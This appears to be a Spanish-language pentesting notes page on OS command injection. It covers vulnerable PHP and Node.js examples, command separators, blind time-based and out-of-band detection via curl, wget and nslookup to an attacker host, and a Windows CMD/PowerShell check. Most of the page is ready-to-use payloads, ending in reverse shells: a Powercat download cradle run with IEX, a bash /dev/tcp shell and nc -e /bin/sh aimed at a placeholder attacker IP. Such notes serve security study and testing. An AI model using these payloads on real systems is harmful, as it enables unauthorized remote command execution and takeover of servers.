Skip to content

OS Command Injection

La inyección de comandos del sistema operativo (OS Command Injection) ocurre cuando una aplicación pasa entrada controlada por el usuario directamente a una función que ejecuta comandos del shell subyacente, sin sanitizar adecuadamente los caracteres especiales que el shell interpreta (separadores de comandos, subshells, pipes, etc.). El impacto es crítico: normalmente se traduce en ejecución remota de comandos con los privilegios del proceso de la aplicación (por ejemplo, www-data en un servidor web típico).

Ejemplos de código vulnerable

PHP

php
<?php
if (isset($_GET['filename'])) {
    system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>

Node.js

javascript
app.get("/createfile", function(req, res){
    child_process.exec(`touch /tmp/${req.query.filename}.txt`);
})

En ambos casos, el problema es el mismo: se concatena entrada del usuario directamente dentro de un comando de shell (system(), exec()) en vez de usar una API que ejecute el binario directamente con argumentos separados (por ejemplo, execFile() en Node.js o escapeshellarg() en PHP), lo que evitaría que el shell interprete caracteres especiales de la entrada.

Inyectando comandos

El primer paso es identificar un separador de comandos que el shell interprete. Los más comunes:

c
;
&&
||
|

Ejemplo básico con punto y coma:

c
127.0.0.1; whoami

Esto se traduce en dos comandos separados ejecutados secuencialmente: primero un ping/consulta al 127.0.0.1 (comportamiento esperado de la aplicación), y luego el comando inyectado whoami.

c
ping -c 1 127.0.0.1; whoami
c
$ ping -c 1 127.0.0.1; whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.03 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.034/1.034/1.034/0.000 ms
21y4d
  • ; : ejecuta el segundo comando siempre, independientemente de si el primero tuvo éxito o falló.

Operador AND (&&)

c
ping -c 1 127.0.0.1 && whoami
  • Solo ejecuta el segundo comando si el primero terminó con código de salida 0 (éxito). Útil para confirmar inyección de forma más "silenciosa" — si el comando inyectado no se ejecuta, es señal de que el comando base falló, dando pistas sobre el contexto de ejecución.

Operador OR (||)

c
$ ping -c 1 127.0.0.1 || whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.635 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.635/0.635/0.635/0.000 ms

Solo se ejecuta el segundo comando si el primero falla:

c
$ ping -c 1 || whoami
ping: usage error: Destination address required
21y4d
  • Útil precisamente cuando se puede forzar que el comando base falle (por ejemplo, dejando el parámetro vacío o con un valor inválido), garantizando que el comando inyectado se ejecute sin depender del resultado del comando legítimo.

Pipe (|)

c
127.0.0.1 | whoami
  • Envía la salida del primer comando como entrada del segundo, y ejecuta ambos independientemente del código de salida del primero — similar a ; en la práctica para efectos de inyección, aunque semánticamente distinto (conecta stdout/stdin en vez de simplemente encadenar ejecución).

Subshells y sustitución de comandos

c
$(whoami)
`whoami`
  • Útil cuando el contexto de inyección está dentro de un argumento de otro comando (no como comando independiente), ya que la sustitución se resuelve antes de que el comando externo reciba el argumento.

Salto de línea

c
127.0.0.1
whoami
  • Un salto de línea real (o %0a URL-encoded) también actúa como separador de comandos en la mayoría de shells, y a veces evade filtros que solo bloquean ;/&&/|| explícitamente.

Tabla de referencia: caracteres típicos por tipo de inyección

Tipo de inyecciónOperadores/caracteres típicos
SQL Injection' , ; -- /* */
Command Injection; &&
LDAP Injection* ( ) & |
XPath Injection' or and not substring concat count
OS Command Injection; & |
Code Injection' ; -- /* */ $() ${} #{} %{} ^
Directory Traversal / Path Traversal../ ..\\ %00
Object Injection; & |
XQuery Injection' ; -- /* */
Shellcode Injection\x \u %u %n
Header Injection\n \r\n \t %0d %0a %09
  • Esta tabla es útil como referencia rápida al hacer fuzzing de un campo desconocido: probar los caracteres de varias categorías a la vez ayuda a identificar rápidamente qué tipo de inyección es potencialmente viable según cuáles provocan errores o comportamiento anómalo.

Command Injection ciega (Blind)

En muchos casos la aplicación no refleja la salida del comando inyectado directamente en la respuesta HTTP (a diferencia de los ejemplos anteriores). En estos escenarios "ciegos", hay que confirmar la ejecución por canales indirectos.

Basada en tiempo (time-based)

Inyectar un comando que introduce un retraso medible, y observar si el tiempo de respuesta de la aplicación aumenta en consecuencia:

c
127.0.0.1; sleep 10
c
127.0.0.1 && ping -c 10 127.0.0.1
  • Si la respuesta HTTP tarda ~10 segundos más de lo normal, se confirma la ejecución del comando inyectado sin necesidad de ver ninguna salida.
  • En Windows, el equivalente es timeout 10 o ping -n 10 127.0.0.1.

Fuera de banda (Out-of-Band / OOB)

Cuando ni siquiera el tiempo de respuesta es observable (por ejemplo, la petición se procesa de forma asíncrona), se puede forzar al servidor a hacer una petición saliente hacia un servidor propio, confirmando la ejecución por la llegada de esa petición:

c
127.0.0.1; curl http://<TU_IP>/confirmacion
127.0.0.1; wget http://<TU_IP>/confirmacion
127.0.0.1; nslookup confirmacion.<TU_DOMINIO_CONTROLADO>
  • nslookup/dig hacia un dominio propio es especialmente útil cuando el tráfico HTTP saliente está bloqueado por un firewall pero las consultas DNS sí logran salir (un patrón muy común en redes corporativas restrictivas).
  • Herramientas como Burp Collaborator o un servidor DNS propio (dnschef, o simplemente un listener con tcpdump) permiten capturar y confirmar la interacción entrante.

Basada en output redirigido a un archivo accesible

Si existe también un LFI en la aplicación (ver lfi.md), se puede redirigir la salida del comando inyectado a un archivo dentro del webroot, y luego leerlo directamente vía HTTP:

c
127.0.0.1; whoami > /var/www/html/output.txt
c
❯ curl http://<SERVER_IP>/output.txt

Determinar si el comando inyectado corre en CMD o PowerShell (Windows)

Cuando la inyección confirmada es en un objetivo Windows, es útil saber si el comando se ejecuta a través de cmd.exe o de PowerShell antes de construir el payload de reverse shell, ya que la sintaxis difiere considerablemente entre ambos. El siguiente snippet (de PetSerAl) es válido simultáneamente en ambos intérpretes, pero solo imprime el resultado correcto según cuál lo esté procesando:

powershell
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
  • Inyectar este snippet y observar si la salida contiene CMD o PowerShell determina inequívocamente el contexto de ejecución, sin necesidad de adivinar por prueba y error con distintas sintaxis de reverse shell.

Powercat — alternativa a Netcat para reverse shells en Windows

Cuando el objetivo es Windows y el comando inyectado se confirma que corre en PowerShell, Powercat (incluido en Kali, una reimplementación de Netcat en PowerShell) suele ser más confiable que intentar construir un one-liner de reverse shell nativo desde cero:

Servir el script desde un servidor HTTP propio:

c
❯ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
❯ python3 -m http.server 80

Cargar el script en memoria (download cradle) e invocar la función powercat para la conexión reversa:

powershell
IEX (New-Object System.Net.Webclient).DownloadString("http://<TU_IP>/powercat.ps1");powercat -c <TU_IP> -p 4444 -e powershell
  • -c : IP del listener del atacante. -p : puerto. -e : programa a ejecutar sobre la conexión (powershell entrega una consola PowerShell interactiva completa).
  • Recordar codificar el comando completo con URL-encoding (o Base64 + -enc, ver file_upload_vulnerabilities.md) antes de inyectarlo, ya que contiene múltiples caracteres especiales (paréntesis, comillas, punto y coma) que probablemente rompan el parseo del parámetro vulnerable si se envían sin codificar.

Obtener una shell interactiva tras confirmar la inyección

Una vez confirmada la inyección (ciega o no), el siguiente paso habitual es obtener una reverse shell completa:

c
127.0.0.1; bash -c 'bash -i >& /dev/tcp/<TU_IP>/4444 0>&1'
c
127.0.0.1; nc -e /bin/sh <TU_IP> 4444
  • Requiere tener un listener activo del lado del atacante (nc -lvnp 4444) antes de disparar el payload.
  • Si el shell de destino no soporta -e en nc (compilaciones sin esa opción por defecto, común en Debian/Ubuntu), usar la variante con bash -i y redirecciones (/dev/tcp/) es la alternativa más portable.

Notas de metodología

  • Antes de probar separadores de comandos, identificar qué comando "base" ejecuta la aplicación (a menudo se puede inferir del contexto de la función: ping, nslookup, traceroute, herramientas de diagnóstico de red son las más comunes en paneles de administración).
  • Probar primero con un comando inocuo y fácil de verificar (whoami, id, hostname) antes de intentar una reverse shell directamente — confirma la inyección sin generar ruido innecesario ni arriesgar la estabilidad del servicio.
  • Si la aplicación es Windows, recordar que la sintaxis de redirección/pipes puede variar ligeramente (cmd.exe vs PowerShell tienen comportamientos distintos ante ciertos caracteres) — ver command_injection_filter_evasion.md para las diferencias específicas de plataforma.